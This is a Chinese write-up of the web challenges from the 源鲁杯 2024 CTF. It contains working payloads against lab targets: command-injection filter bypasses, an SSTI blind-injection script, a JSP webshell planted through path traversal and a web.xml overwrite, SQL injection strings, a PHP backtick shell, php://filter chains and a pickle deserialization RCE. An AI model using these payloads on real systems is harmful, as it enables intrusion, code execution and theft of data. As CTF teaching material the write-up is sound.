源鲁杯 2024 web(部分)

[Round 1] Disal
F12查看: f1ag_is_here.php
又F12可以发现图片提到了robots
访问robots.txt 得到flag.php
<?php
show_source(__FILE__);
include("flag_is_so_beautiful.php");
$a=@$_POST['a'];
$key=@preg_match('/[a-zA-Z]{6}/',$a);
$b=@$_REQUEST['b'];if($a>999999 and $key){echo $flag1;
}
if(is_numeric($b)){exit();
}
if($b>1234){echo $flag2;
}
?> 
POST:
a=1234567qwerty&b=1235q
[Round 1] shxpl
challenge.yuanloo.com&&more<index.php

拿到源码:

<?phpif ($_SERVER["REQUEST_METHOD"] == "POST") {$domain = $_POST["domain"];if(!preg_match("/ls|flag|tac|cat|\'|\"|`|tail|;|\\$|=| |\\\|base|\||\*|\?/i",$domain)){$output = shell_exec("nslookup " . $domain);echo "<h2>Results for $domain:</h2>";echo "<pre>" . htmlspecialchars($output) . "</pre>";}else{echo "<pre>" . htmlspecialchars("异常输入,禁止回显!")

需要抓包传参

challenge.yuanloo.com%26%26more%09/f[!a]ag_nfgW35y0
[Round 1] Injct
法一:

ssti, 直接焚靖跑 ,但没有回显, 用dns外带

在这里插入图片描述
在这里插入图片描述

法二:

ssti盲注 , 看官方wp的脚本

import requests
res = ''
s = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_{}'for i in range(1,50):for j in s:url = "http://gzctf.imxbt.cn:50081/greet"data= {"name":"{%if((''|attr((lipsum|string|list).pop(18)*2~'cla''ss'~(lipsum|string|list).pop(18)*2)|attr((lipsum|string|list).pop(18)*2~'mro'~(lipsum|string|list).pop(18)*2)|attr((lipsum|string|list).pop(18)*2~'geti''tem'~(lipsum|string|list).pop(18)*2)(1)|attr((lipsum|string|list).pop(18)*2~'subc''lasses'~(lipsum|string|list).pop(18)*2)()|attr((lipsum|string|list).pop(18)*2~'geti''tem'~(lipsum|string|list).pop(18)*2)(101)|attr((lipsum|string|list).pop(18)*2~'init'~(lipsum|string|list).pop(18)*2)|attr((lipsum|string|list).pop(18)*2~'global''s'~(lipsum|string|list).pop(18)*2)|attr((lipsum|string|list).pop(18)*2~'getit''em'~(lipsum|string|list).pop(18)*2)((lipsum|string|list).pop(18)*2~'builtin''s'~(lipsum|string|list).pop(18)*2)|attr((lipsum|string|list).pop(18)*2~'geti''tem'~(lipsum|string|list).pop(18)*2)('ev''al')((lipsum|string|list).pop(18)*2~'imp''ort'~(lipsum|string|list).pop(18)*2)('o''s')|attr('po''pen')('head$IFS$9-c$IFS$9"+str(i)+"$IFS$9/flag')|attr('re''ad')())=='"+str(res+j)+"')%}success{%endif%}"}headers = {"Pragma": "no-cache", "Cache-Control": "no-cache", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}r = requests.post(url, headers=headers,data=data)if "success" in r.text:res+=jprint(res)break
[Round 1] TOXEC

不能上传jsp, 可以上传xml

上传后缀为 .xmljsp木马

<% if(request.getParameter("cmd")!=null){  java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();  int a = -1;  byte[] b = new byte[2048];  out.print("<pre>");  while((a=in.read(b))!=-1){  out.print(new String(b));  }  out.print("</pre>");  
}  %>

然后 在重命名那里 重新命名为 ../WEB-INF/shell.xml (目录穿越到 WEB-INF目录下)

然后再上传一个 web.xml , 将shell.xml文件解析为 jsp文件执行

重命名为../WEB-INF/web.xml 将原先的 web.xml 文件给覆盖掉

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0"><servlet><servlet-name>exec</servlet-name><jsp-file>/WEB-INF/shell.xml</jsp-file><load-on-startup>1</load-on-startup></servlet><servlet-mapping><servlet-name>exec</servlet-name><url-pattern>/exec</url-pattern></servlet-mapping>
</web-app>

然后 /exec 路径执行传参执行命令就行
/exec?cmd=ls

[Round 1] sInXx

sql注入, 过滤了 , 逗号 , 绕过

1'  UNION  SELECT  *  FROM  ((SELECT  1)A  join  (SELECT  1)B  join  (SELECT  1)C  join  (SELECT  1)D  join  (SELECT  1)E)#

information也用不了 , 利用sys.schema绕过, 获取表名

search=1'  UNION  SELECT  *  FROM  ((SELECT  GROUP_CONCAT(TABLE_NAME)  FROM  sys.schema_table_statistics_with_buffer  WHERE  TABLE_SCHEMA=DATABASE())A  join  (SELECT  1)B  join  (SELECT  1)C  join  (SELECT  1)D  join  (SELECT  1)E)#

获取数据

search=1'  UNION  SELECT  *  FROM  ((SELECT  `2`  FROM  (SELECT  *  FROM  ((SELECT  1)a  JOIN  (SELECT  2)b)  UNION  SELECT  *  FROM  DataSyncFLAG)p  limit  2  offset  1)A  join  (SELECT  1)B  join  (SELECT  1)C  join  (SELECT  1)D  join  (SELECT  1)E)#
[Round 2] Cmnts
<?php
include 'flag.php';
parse_str($_SERVER['QUERY_STRING']);if (isset($pass)) {$key = md5($pass);
}
if (isset($key) && $key === 'a7a795a8efb7c30151031c2cb700ddd9') {echo $flag;
}
else {highlight_file(__FILE__);
}

直接传参拿就行

?key=a7a795a8efb7c30151031c2cb700ddd9
[Round 2] PHUPE
参考文章: move_uploaded_file的一个细节问题:https://www.anquanke.com/post/id/103784

关键代码:

 public function uploadFile($file) {$name = isset($_GET['name'])? $_GET['name'] : basename($file['name']);$fileExtension = strtolower(pathinfo($name, PATHINFO_EXTENSION));if (strpos($fileExtension, 'ph') !== false || strpos($fileExtension, 'hta') !== false ) {return false;}$data = file_get_contents($file['tmp_name']);if(preg_match('/php|if|eval|system|exec|shell|readfile|t_contents|function|strings|literal|path|cat|nl|flag|tail|tac|ls|dir|:|show|high/i',$data)){echo "<script>alert('恶意内容!')</script>";return false;}$target_file = $this->uploadDir .$name;if (move_uploaded_file($file['tmp_name'], $target_file)) {echo "<script>alert('文件上传成功!')</script>";return true;}return false;

通过?name传参文件的名字 1.php/.绕过后缀的检查( ?name=aaa/../222.php/. 可以覆盖文件上传)
有文件内容的检查, 需要绕过, 短标签绕过 php, 然后反引号执行命令, 再利用 \ 拼接字符

<?=`c\at /f*`?>
[Round 2] Pseudo

关键代码在download.php里面

<?php
error_reporting(0);
if (isset($_GET['file'])) {$data = file_get_contents($_GET['file']);$file = tmpfile();fwrite($file, $data);fflush($file);$type = mime_content_type(stream_get_meta_data($file)['uri']);fclose($file);if (!in_array($type,['image/jpg','image/jpeg', 'image/png', 'image/gif'])) {echo "error!!!";exit;}else{header('Content-Description: File Transfer');header('Content-Type: application/octet-stream');header('Content-Disposition: attachment; filename="download.jpg"');header('Expires: 0');header('Cache-Control: must-revalidate');header('Pragma: public');echo($data);exit;}
}

可以通过?file参数传参文件名读取内容, 但是存在 mime_content_type 会检查文件的 MIME 类型

可以通过php的伪协议绕过检查, php://filter

利用到工具生成链子

在这里插入图片描述

php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/flag

读取flag
在这里插入图片描述

就是这里让人感觉有点奇怪, 为什么flag是不全的, 不太理解(后面再研究一下)

官方wp给的链子

php://filter/convert.base64-encode|convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UTF16|convert.iconv.L6.UTF-16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|/resource=/flag

在这里插入图片描述

需要解码两次

[Round 2] RedFox

登录进去后, 有一个image url可以填写url发送请求
存在sstf的漏洞

在这里插入图片描述

访问这个路由,可以得到文件内容

在这里插入图片描述

读取index.php文件

<?phpsession_start();
require_once 'config.php';
require_once 'Database.php';
require_once 'User.php';
require_once 'Post.php';
require_once 'Message.php';$db = new Database();
$user = new User($db);
$post = new Post($db);
$message = new Message($db);$error = '';
$success = '';if ($_SERVER['REQUEST_METHOD'] === 'POST') {if (isset($_POST['action'])) {switch ($_POST['action']) {case 'register':if (isset($_POST['username']) && isset($_POST['password']) && isset($_POST['email'])) {if ($user->register($_POST['username'], $_POST['password'], $_POST['email'])) {$success = "Registration successful. Please log in.";} else {$error = "Registration failed. Please try again.";}}break;case 'login':if (isset($_POST['username']) && isset($_POST['password'])) {if ($user->login($_POST['username'], $_POST['password'])) {$success = "Login successful.";} else {$error = "Invalid username or password.";}}break;case 'create_post':if (isset($_SESSION['user_id']) && isset($_POST['content'])) {$imageUrl = isset($_POST['image_url']) ? $_POST['image_url'] : null;if ($post->create($_SESSION['user_id'], $_POST['content'], $imageUrl)) {$success = "Post created successfully.";} else {$error = "Failed to create post.";}}break;case 'send_message':if (isset($_SESSION['user_id']) && isset($_POST['to_user_id']) && isset($_POST['content'])) {if ($message->send($_SESSION['user_id'], $_POST['to_user_id'], $_POST['content'])) {$success = "Message sent successfully.";} else {$error = "Failed to send message.";}}break;case 'download_message':if (isset($_SESSION['user_id']) && isset($_POST['data'])) {if ($user->test($_SESSION['user_id'], $_POST['data'])) {$success = "successfully.";} else {$error = "fail.";}}break;}}
}$feed = $post->getFeed();
?>

根据index.php可知,读取Post.php

<?phpclass Post {private $db;public function __construct($db) {$this->db = $db;}public function create($userId, $content, $imageUrl = null) {$sql = "INSERT INTO posts (user_id, content, image_url) VALUES (?, ?, ?)";$image = $this->uploadImage($userId,$imageUrl);return $this->db->query($sql, [$userId, $content, $image]);}public function getFeed($page = 1, $limit = 10) {$offset = ($page - 1) * $limit;$sql = "SELECT p.*, u.username FROM posts p JOIN users u ON p.user_id = u.id ORDER BY p.created_at DESC LIMIT ?, ?";return $this->db->query($sql, [$offset, $limit]);}public function uploadImage($userId, $imageUrl) {$filename = "";$curl = curl_init();curl_setopt ($curl, CURLOPT_URL, $imageUrl);curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);$imageContent = curl_exec ($curl);curl_close ($curl);if(preg_match('/http|gopher|dict/i',$imageUrl) && preg_match('/php|<\?|script/i',$imageContent)){return false;}if ($imageContent !== false && strlen($imageContent)>50) {$filename = 'profile_' . md5($imageUrl) . '.jpg';file_put_contents('./uploads/' . $filename, $imageContent);}else{return false;}return "./uploads/" . $filename;}}
[Round 3] 404

/404.php --> f12g.php --> ca.php

import math
import requestsurl='http://challenge.yuanloo.com:26413/ca.php'
# 计算 $temp1
temp1 = (91 / 142) * math.log(437)# 计算 $temp2
temp2 = math.sqrt(abs(174 - 928)) + math.pow(math.sin(119 * math.pi / 180), 2)# 计算 $temp3
temp3 = temp1 + (temp2 * math.tan(816 * math.pi / 180) / 503)# 计算 $temp4
temp4 = math.cos(184 * math.pi / 180) * math.exp(math.log(867))# 计算 $answer
answer = temp3 + temp4data={"user_answer":"answer"}
res=requests.post(url=url,data=data)for i in range(100):if res.text.find("{"):print(res.text)break
[Round 3] PRead
法一:非预期

利用导出笔记的那个功能点存在一个任意文件读取的漏洞, 直接读取环境变量拿到flag

在这里插入图片描述

法二:预期解

(还未复现成功, 贴一下官方wp)

拿到app.py的源码

/export_notes?filename=../app.py

源码:

import os
import pickle
from flask import Flask, render_template, request, redirect, url_for, flash, jsonify, send_file
from datetime import datetime
from werkzeug.utils import secure_filenameapp = Flask(__name__)
app.secret_key = 'MySe3re7K6y'
app.config['UPLOAD_FOLDER'] = 'uploads'
app.config['MAX_CONTENT_LENGTH'] = 16 * 1024 * 1024  # 16MB max-limit# 确保上传文件夹存在
os.makedirs(app.config['UPLOAD_FOLDER'], exist_ok=True)class Note:def __init__(self, title, content):self.id = datetime.now().strftime('%Y%m%d%H%M%S')self.title = titleself.content = contentself.created_at = datetime.now()class NoteManager:def __init__(self):self.notes = []self.file_name = "notes.pkl"self.file_path = "./notes/"self.file = os.path.join(self.file_path, self.file_name)self.load_notes()def add_note(self, title, content):note = Note(title, content)self.notes.append(note)self.save_notes()return notedef get_note(self, note_id):for note in self.notes:if note.id == note_id:return notereturn Nonedef update_note(self, note_id, title, content):note = self.get_note(note_id)if note:note.title = titlenote.content = contentself.save_notes()return Truereturn Falsedef delete_note(self, note_id):self.notes = [note for note in self.notes if note.id != note_id]self.save_notes()def save_notes(self):with open(self.file, 'wb') as f:pickle.dump(self.notes, f)def load_notes(self):if os.path.exists(self.file):with open(self.file, 'rb') as f:self.notes = pickle.load(f)def import_notes(self, file_path):try:with open(file_path, 'rb') as f:imported_notes = pickle.load(f)self.notes.extend(imported_notes)self.save_notes()return len(imported_notes)except Exception as e:print(f"Import error: {e}")return 0note_manager = NoteManager()@app.route('/')
def index():return render_template('index.html', notes=note_manager.notes)@app.route('/add', methods=['GET', 'POST'])
def add_note():if request.method == 'POST':title = request.form['title']content = request.form['content']note_manager.add_note(title, content)flash('笔记已添加成功', 'success')return redirect(url_for('index'))return render_template('add_note.html')@app.route('/edit/<note_id>', methods=['GET', 'POST'])
def edit_note(note_id):note = note_manager.get_note(note_id)if request.method == 'POST':title = request.form['title']content = request.form['content']if note_manager.update_note(note_id, title, content):flash('笔记已更新成功', 'success')return redirect(url_for('index'))flash('更新笔记失败', 'error')return render_template('edit_note.html', note=note)@app.route('/delete/<note_id>')
def delete_note(note_id):note_manager.delete_note(note_id)flash('笔记已删除成功', 'success')return redirect(url_for('index'))@app.route('/export_notes', methods=['GET'])
def export_notes():filename = request.args.get("filename")file_path = os.path.join(note_manager.file_path, filename)return send_file(file_path, as_attachment=True, download_name="notes_export.pkl")@app.route('/import_notes', methods=['POST'])
def import_notes():if 'file' not in request.files:flash('没有文件', 'error')return redirect(url_for('index'))file = request.files['file']if file.filename == '':flash('没有选择文件', 'error')return redirect(url_for('index'))if file:filename = secure_filename(file.filename)file_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)file.save(file_path)imported_count = note_manager.import_notes(file_path)os.remove(file_path)  # 删除临时文件if imported_count > 0:flash(f'成功导入 {imported_count} 条笔记', 'success')else:flash('导入失败,请检查文件格式', 'error')return redirect(url_for('index'))if __name__ == '__main__':app.run(host='0.0.0.0')

存在pickle反序列化的利用

import pickle
import base64
import os
class payload(object):def __reduce__(self):return (os.system, ('ls / > /tmp/1',))a = payload()
payload = pickle.dumps(a)
print(base64.b64encode(payload).decode())

写入文件中, 然后利用任意文件读取的漏洞去读取 /tmp/1的内容

拿到flag的文件名, 然后直接读取

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/3882.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

《高频电子线路》—— 调频方法

文章内容来源于【中国大学MOOC 华中科技大学通信&#xff08;高频&#xff09;电子线路精品公开课】&#xff0c;此篇文章仅作为笔记分享。 目录 调频方法 分类 调频技术指标 小结 直接调频方法与电路 直接调频方法 变容二极管直接调频电路 优缺点以及提升稳定性的方法…

使用onnxruntime-web 运行yolov8-nano推理

ONNX&#xff08;Open Neural Network Exchange&#xff09;模型具有以下两个特点促成了我们可以使用onnxruntime-web 直接在web端上运行推理模型&#xff0c;为了让这个推理更直观&#xff0c;我选择了试验下yolov8 识别预览图片&#xff1a; 1. 跨平台兼容性 ONNX 是一种开…

软件测试学习笔记丨测试平台的价值与体系

本文转自测试人社区&#xff0c;原文链接&#xff1a;https://ceshiren.com/t/topic/23405 测试平台的价值与体系 开发测试平台的前提&#xff1a; 已有的开源测试平台不能满足需要&#xff0c;不要轻易造轮子公司的测试体系健全当体系、测试技术等游刃有余&#xff0c;构建平台…

练习LabVIEW第四十题

学习目标&#xff1a; 用labvIEW做一个循环闪烁指示灯&#xff0c;要能够在前面板调节周期和占空比。 开始编写&#xff1a; 前面板 一个布尔指示灯一维数组&#xff0c;两个数值输入控件&#xff1b; 程序框图 添加一个while循环&#xff0c;循环内添加初始化数组&…

基于TRIZ理论的便携式光伏手机充电装置创新

随着智能手机功能的日益强大&#xff0c;电量消耗问题也日益凸显&#xff0c;尤其是在户外活动时&#xff0c;电量告急常常让人措手不及。面对这一挑战&#xff0c;基于TRIZ&#xff08;发明问题解决理论&#xff09;的创新思维&#xff0c;一款全新的便携式光伏手机充电装置应…

OpenOCD之flash write_image和program命令的区别

OpenOCD&#xff1a;Open On-Chip Debugger&#xff0c;自由开源的片上调试和编程工具。 OpenOCD所有的命令索引链接&#xff1a;请点击这里 OpenOCD官方使用手册&#xff1a;https://openocd.org/doc-release/pdf/openocd.pdf [flash write_image]命令 Command: flash write…

无需懂代码!用AI工具Bolt一键生成网站的入门指南!

​ ​ 随着AI技术的不断发展&#xff0c;许多原本需要技术门槛的操作正在被大大简化&#xff0c;甚至零基础的用户也可以轻松实现。 例如&#xff0c;AI生成网站工具Bolt就是这样一个可以帮助我们快速创建、实时预览并自动部署网站的平台。接下来&#xff0c;本文将带你深入了…

作为一名测试人,快来恶补F12的用法!

浏览器都内嵌了一个神奇的开发助手&#xff0c;只需轻敲 F12&#xff0c;它就能即刻现身&#xff0c;这就是我们常说的F12调试工具。 无论你是前端开发还是测试工程师&#xff0c;F12工具都是不可或缺的伙伴。 F12调试工具&#xff0c;简单、轻量&#xff0c;却功能强大。 一…

开源AI智能语音转写系统,提升法庭效率与透明度:精准记录庭审,助力智能司法

一、系统概述 在司法领域&#xff0c;庭审记录的精准度和完整性直接影响案件处理的公平公正。法庭实时语音转写系统通过思通数科AI多模态平台&#xff0c;结合尖端的语音识别技术和自然语言处理&#xff08;NLP&#xff09;&#xff0c;实现实时记录和精准转写&#xff0c;为司…

Linux上部署DNS服务器

1.搭建dns服务器能够对自定义的正向或者反向域完成数据解析查询。 2.配置从DNS服务器&#xff0c;对主dns服务器进行数据备份。 一&#xff0c;正反向解析&#xff1a; 关闭防火墙和selinux [rootlocalhost ~]# systemctl stop firewalld [rootlocalhost ~]# setenforce 0 在…

代码随想录算法训练营第三十三天 | 62.不同路径 63.不同路径

LeetCode 62.不同路径&#xff1a; 文章链接 题目链接&#xff1a;62.不同路径 思路&#xff1a; 动态规划 使用二维数组保存递推结果 ① dp数组及下标含义 dp[i][j]&#xff1a;表明从(0, 0)到下标为(i, j)的点有多少条不同的路径 ② 递推式&#xff1a; 机器人只能向下或向…

模板

1.非类型模板参数 模板参数分为类型形参与非类型形参&#xff08;都可以用缺省值&#xff09; 类型形参&#xff1a;出现在模板参数列表中&#xff0c;跟在class或者typename之类的参数类型名称 非类型形参&#xff1a;就是用一个常量作为类&#xff08;函数&#xff09;模板…

diffusion model 学习笔记

条件引导的 diffusion 对于无条件的DDPM 而言 p ( x t ∣ x 0 ) ∼ N ( α t ˉ x 0 , 1 − α t ˉ ⋅ I ) p(x_t | x_0) \sim \mathcal{N}( \sqrt{\bar{\alpha_t}} x_0, 1-\bar{\alpha_t} \cdot \mathrm{I} ) p(xt​∣x0​)∼N(αt​ˉ​ ​x0​,1−αt​ˉ​⋅I) 可以得到…

阿里云高并发测试-Redis缓存机制

创建接口 这里使用的是阿里云提供的接口服务直接做的测试&#xff0c;接口地址 curl http://localhost:8080/initData?tokenAppWithRedis 这里主要通过参数cacheFirstfalse和true来区分是否走缓存&#xff0c;正常的业务机制可能是通过后台代码逻辑自行控制的&#xff0c;这…

设计卷积神经网络CNN为什么不是编程?

上一篇&#xff1a;《搞清楚这个老六的真面目&#xff01;逐层‘剥开’人工智能中的卷积神经网络&#xff08;CNN&#xff09;》 序言&#xff1a;现在让我们开始走进卷积神经网络&#xff08;CNN&#xff09;的世界里。和传统编程完全不同&#xff0c;在人工智能的程序代码里…

气象仿真数据在光伏行业里面的作用

选址与规划 确定资源潜力区域&#xff1a;不同地区的太阳能资源、气候条件差异很大。通过对大量的气象仿真数据进行分析&#xff0c;可以准确评估不同地区的太阳辐射强度、日照时长、温度、湿度、风速风向以及降水情况等气象要素。规避潜在风险&#xff1a;一些地区可能存在极…

鸿蒙开发——进程模型与进程通信

1、进程模型 ❓ 什么是进程&#xff1f; 进程是一个正在执行的程序的实例。当我们启动一个程序时&#xff0c;操作系统会创建一个进程&#xff0c;分配给它所需的资源&#xff0c;如内存和CPU时间。每个进程至少有一个线程&#xff0c;即执行线程&#xff0c;负责执行程序的指…

Pod安装软件将CDN改为国内的镜像

1、碰到错误 在pod install的时候碰到以下的下载错误&#xff1a; 文字错误如下&#xff1a; CDN: trunk URL couldnt be downloaded: https://cdn.jsdelivr.net/cocoa/Specs/5/b/d/OpenCV/2.4.11/OpenCV.podspec.json Response: Timeout was reached CDN: trunk URL couldn…

Windows常用命令-病毒

1.常见端口对应的服务 ftp 21 tenlnet 23 80 web 80-89可能是web 443 ssl心脏滴血漏洞以及一些web漏洞测试 445 smb 1433 mssql 1521 oracle 2082/2083 cpanel主机管理系统登陆(国外用的较多) 2222 da虚拟主机管理系统登陆(国外较多) 3128 squid代理默认端口-漫游内…

DDD中的一些基础概念 观点摘录

系统复杂度来源于哪&#xff1f;也就是DDD存在意义 软件系统的复杂性主要体现在三个方面。 隐晦&#xff1a;一是抽象层面的隐晦&#xff0c;抽象系统时&#xff0c;每个人都有自己特定的视角&#xff0c;你需要站在对方的角度才能明白他为什么这么做&#xff1b;其次是实现层…